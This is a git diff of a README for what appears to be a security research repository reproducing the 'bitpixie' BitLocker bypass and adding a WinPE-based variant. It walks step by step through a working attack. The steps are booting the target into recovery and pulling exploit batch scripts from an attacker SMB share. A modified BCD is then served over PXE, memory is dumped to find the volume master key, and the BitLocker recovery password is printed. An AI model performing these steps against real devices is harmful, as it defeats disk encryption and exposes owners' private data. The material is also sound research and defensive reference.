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Update README with WinPE exploitation

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Marc André Tanner
2025-02-25 22:38:57 +01:00
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@@ -19,14 +19,23 @@ written by [@notselwyn](https://twitter.com/notselwyn).
Parallel to this work [Andreas Grasser](https://github.com/andigandhi/bitpixie) also
attempted to reproduce the original research, ending up with a very similar approach.
Beyond simply reproducing the original research this repository also contributes
an alternative WinPE-based exploitation path which might also work if Microsoft's
3rd-party Secure Boot certificate is disabled.
## Prerequisites
BitLocker must be configured without pre-boot authentication also sometimes referred
to as unattended/transparent mode i.e. without a PIN or a key file.
BitLocker must be configured without pre-boot authentication also
sometimes referred to as unattended/transparent mode i.e. without a PIN
or a key file.
Booting in PXE mode must be possible. In particular, the UEFI firmware must have a working TCP/IP stack. If only the network boot option is disabled, some USB dongles might work around that limitation.
Booting in PXE mode must be possible. In particular, the UEFI firmware
must have a working TCP/IP stack. If only the network boot option is
disabled, some USB dongles might work around that limitation.
If you have access to the Windows environment, launch an elevated instance of `msinfo32` the entry *Automatic Device Encryption Support* should read *Meets prerequisites*.
If you have access to the Windows environment, launch an elevated
instance of `msinfo32` the entry *Automatic Device Encryption Support*
should read *Meets prerequisites*.
A TPM 2.0 is needed to support the PCR7 binding
- In Windows open *Device Manager > Security Devices* and check the TPM properties
@@ -38,7 +47,8 @@ A TPM 2.0 is needed to support the PCR7 binding
> 2. Boot into UEFI/BIOS, enable the TPMv2.0 security chip
> 3. Boot Windows, re-enable BitLocker `manage-bde -protectors -enable C:`
Secure Boot needs to be enabled and used for integrity validation. The command below, must list exactly the PCRs `7, 11`:
Secure Boot needs to be enabled and used for integrity validation.
The command below, must list exactly the PCRs `7, 11`:
```
PS> manage-bde -protectors -get c:
...
@@ -64,24 +74,49 @@ PS> manage-bde -protectors -get c:
Only systems using a bootloader signed with the 2011 Secure Boot certificate are vulnerable. To check this, mount the boot partition and check the signature of `EFI\Microsoft\Boot\bootmgfw.efi`. This can also be performed using [osslsigncode](https://github.com/mtrojnar/osslsigncode).
For the Linux based exploitation strategy implemented in this repository, Microsoft's 3rd-party Secure Boot certificate, used to sign the shim loader, needs to be enabled.
If your target device has Microsoft's 3rd-party Secure Boot certificate
disabled, only the WinPE-based exploitation strategy might work, otherwise
both should be applicable.
## Environment Setup
A top level Makefile prepares all needed components. Either run it for a
particular exploitation strategy or prepare both scenarios:
```
make
```
This requires a working Docker setup. For the actual exploitation you will
also need:
- dnsmasq
- impacket's smbserver.py
- [Magnet DumpIt for Windows](https://www.magnetforensics.com/resources/magnet-dumpit-for-windows/) (for the WinPE-based approach)
### Linux Initramfs Generation
An initramfs containing all needed components based on a stripped down version of [frood, an Alpine initramfs NAS](https://words.filippo.io/dispatches/frood/) can be generated with:
An initramfs containing all needed components based on a stripped down
version of [frood, an Alpine initramfs NAS](https://words.filippo.io/dispatches/frood/)
can be generated with:
```
cd linux
./bitpixie build
./bitpixie qemu # optional sanity check, whether it boots at all
./bitpixie deploy
cd -
make linux
```
### WinPE Ramdisk
Similarly, the following command will generate a bootable WinPE environment:
```
make winpe
```
### SMB Server
Start a SMB server from where the `create-bcd-linux.bat` attack script can be downloaded from and the resulting, device-specific BCD can be uploaded to. Impacket's `smbserver.py` works great for that:
Start a SMB server from where the attack scripts can be downloaded from
and the resulting, device-specific BCD can be uploaded to. Impacket's
`smbserver.py` works great for that:
```
cd pxe && ./start-smb.sh
@@ -89,20 +124,22 @@ cd pxe && ./start-smb.sh
### PXE Server
Download the necessary artifacts needed and start the PXE server:
Start the PXE server serving the network boot images:
```
cd pxe
./download.sh
./start-pxe.sh eth0
cd pxe && ./start-pxe.sh eth0
```
## Attack
### Boot into Recovery Mode
Let Windows boot normally, on the logon screen hold down the *Shift* key and select the *Restart* option from the power menu.
Let Windows boot normally, on the logon screen hold down the *Shift*
key and select the *Restart* option from the power menu.
Windows will reboot into a recovery mode. Select *Troubleshoot > Advanced Option > Command line*. If desired, select *Change keyboard layout*. When prompted for BitLocker recovery key, select *Skip this drive*.
Windows will reboot into a recovery mode. Select *Troubleshoot > Advanced
Option > Command line*. If desired, select *Change keyboard layout*. When
prompted for BitLocker recovery key, select *Skip this drive*.
You should now be in a command prompt within the recovery environment.
@@ -111,7 +148,7 @@ If needed, enable network support:
wpeutil initializenetwork
```
>[!note]
> [!note]
> You should see DHCP request served by `dnsmasq`.
Mount the exposed SMB share:
@@ -124,41 +161,181 @@ Make sure you are in local temp directory:
cd %TEMP%
```
Copy attack script to temporary directory:
> [!note]
> Either continue with the Linux or WinPE based exploitation.
### Linux-based Exploitation
Copy the attack script to the temporary directory:
```
copy S:\create-bcd-linux.bat .
copy S:\exploit-linux.bat .
```
Execute attacker script to generate a modified BCD file:
Execute it to generate a modifed BCD file and upload it to the SMB share
specified with the drive letter:
```
.\create-bcd-linux.bat
```
Transfer the modified boot configuration to the SMB share:
```
copy BCD_linux S:\BCD
.\exploit-linux.bat S:
```
> [!note]
> This file needs to be served as `Boot\BCD` via PXE.
> The device specific BCD file needs to be served as `Boot\BCD` via PXE.
Exit the command line and chose *Use a device* then select the option indicating PXE boot.
### Boot into Linux Environment
The device should now reboot over PXE, fail to fully load the Windows boot configuration then fall back to the served Linux environment.
The device should now reboot over PXE, fail to fully load the Windows
boot configuration then fall back to the served Linux environment.
>[!note]
> If you end up on a blank blue screen it might help to press *Escape* to show the Grub boot menu where you can select the Linux system.
> [!note]
> If you end up on a blank blue screen it might help to press *Escape*
> to show the GRUB boot menu where you can select the Linux system.
>
> This typically means something did not work as expected.
Login with the `root` user, no password is needed. Follow the instructions printed in the logon message.
Replace `XYZ` with device file representing your encrypted BitLocker volume:
Login with the `root` user, no password is needed. Follow the instructions
printed in the logon message. Replace `XYZ` with device file representing
your encrypted BitLocker volume:
```
exploit && ./mount.sh /dev/XYZ && ls mnt
```
### WinPE-based Exploitation
For the WinPE-based exploitation strategy, two BCD files will be needed.
```
copy S:\exploit-winpe1.bat .
```
Upload the generated BCD files to the specified share:
```
.\exploit-winpe1.bat S:
```
Exit the command line and chose *Use a device* then select the option indicating PXE boot.
### Boot into Windows Boot Manager
The device should now reboot and PXE-load the first instance of the Windows
Boot Manager (`bootmgfw.efi`). The provided configuration deliberately points
to a missing second stage boot manager (`bootmgfw-stage2.efi`).
You will therefore encounter an error:
- File: `\`
- Status: 0xc00000ba
- Info: The application or operating system couldn't be loaded because a required
file is missing or contains errors.
At this point you should switch out the BCD file served by dnsmasq from
`pxe/tftp/Boot/BCD`. One way to do this is to create a symlink such that
`pxe/smb/BCD` no longer points to `BCD_winpe1`, but now refers to the
second stage `BCD_winpe2`.
```
ln -sf BCD_winpe2 pxe/smb/BCD
```
Addtionally, you will have to make sure that the second stage boot manager causing
the original error can now be found.
```
ln -sf bootmgfw.efi pxe/tftp/bootmgfw-stage2.efi
```
Once these changes are in place, press *Enter* to view the *OS Selection*.
Chose the option *softreboot*. This should now fallback to the second stage BCD
which initiates the loading of WinPE from a ramdisk.
> [!note]
> In case of an error, revert the changes, i.e. make sure `BCD_winpe1` is served
> and the second stage boot manager is not found, then retry the procedure.
> ```
> ln -sf BCD_winpe1 pxe/smb/BCD
> rm pxe/tftp/bootmgfw-stage2.efi
> ```
> [!note]
> I automated these steps using a GDB script. However, the resulting setup was somehow
> less reliable than performing the changes manually.
### Boot into WinPE
Connect an external storage device with enough capacity to store a
complete memory dump of your system. We will assume it is mounted at
`c:\`.
Reconnect the SMB share, download the attack script and start the second
part of the exploitation:
```
C:
net use S: \\10.13.37.100\smb
copy S:\exploit-winpe2.bat .
.\exploit-winpe2.bat S:
```
> [!note]
> Alternatively, the necessary tooling can also be copied to the external
> storage. This avoids the need for a network connection and might change
> the internal memory layout.
This will first take a complete memory dump using `DumpIt`. Time will
depend on the amount of memory and the speed of your external drive.
The memory dump is then searched for a volume master key (VMK). If
successful, a `vmk-*.dat` file should now exists in the current directory.
The next step is to determine the byte offset of the encrypted partition
relative to the start of the disk. This information can be queried as
follows:
```
c:\> diskpart
diskpart> list disk
diskpart> select disk 0
diskpart> detail disk
diskpart> list partitions
diskpart> select partition 3
diskpart> detail partition
...
Offset in Bytes: 1234
...
diskpart> assign letter=B
```
> [!note]
> Select the disk and partition indices corresponding to your system.
Once you have have the disk index, partion offset as well as the VMK file,
you can run the following command to hopefully print the BitLocker recovery
password in human readable form:
```
dislocker-metadata.exe \\.\PhysicalDrive0 -o 1234 -K vmk.dat
```
> [!warning]
> Capitalization of `PhysicalDrive` matters!
Using the recovery password the encrypted volume can be unlocked:
```
manage-bde -unlock B: -RecoveryPassword 123456-789012-345678-901234-567890-123456
```
> [!warning]
> Unfortunately, the running WinPE instance does not have a working
> BitLocker setup. I built my own, but then the key would no longer
> be in memory. Needs more investigation.
>
> At this point I would suggest to once more boot into the native recovery
> environment where you should be able to unlock the disk.
## Success Stories
Windows 11 devices which were successfully exploited, after manually enabling the TCP stack in the UEFI settings: